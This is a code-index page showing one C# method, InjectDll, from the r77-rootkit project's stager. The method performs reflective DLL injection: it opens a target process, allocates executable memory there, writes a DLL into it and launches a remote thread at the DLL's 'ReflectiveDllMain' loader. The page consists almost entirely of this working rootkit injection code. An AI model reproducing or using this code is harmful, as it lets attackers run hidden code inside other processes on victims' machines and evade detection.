MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / InjectDll

Method InjectDll

Stager/Inject.cs:21–43  ·  view source on GitHub ↗

Injects a DLL using reflective DLL injection. The DLL must export a function called "ReflectiveDllMain". The bitness of the target process must match that of the DLL file. The process to inject the DLL in. The DLL file to inject , if the DLL was successfully inj

(int processId, byte[] dll)

Source from the content-addressed store, hash-verified

19 /// <see langword="false" />, if injection failed.
20 /// </returns>
21 public static bool InjectDll(int processId, byte[] dll)
22 {
23 IntPtr process = OpenProcess(0x43a, false, processId);
24 if (process != IntPtr.Zero)
25 {
26 // Get function pointer to the shellcode that loads the DLL reflectively.
27 int entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain");
28 if (entryPoint != 0)
29 {
30 IntPtr allocatedMemory = VirtualAllocEx(process, IntPtr.Zero, (uint)dll.Length, 0x3000, 0x40);
31 if (allocatedMemory != IntPtr.Zero)
32 {
33 if (WriteProcessMemory(process, allocatedMemory, dll, dll.Length, out _))
34 {
35 IntPtr thread = IntPtr.Zero;
36 return NtCreateThreadEx(ref thread, 0x1fffff, IntPtr.Zero, process, (IntPtr)((long)allocatedMemory + entryPoint), allocatedMemory, false, 0, 0, 0, IntPtr.Zero) == IntPtr.Zero;
37 }
38 }
39 }
40 }
41
42 return false;
43 }
44
45 private static bool IsExecutable64Bit(byte[] image)
46 {

Callers 1

MainMethod · 0.80

Calls 1

GetExecutableFunctionFunction · 0.85

Tested by

no test coverage detected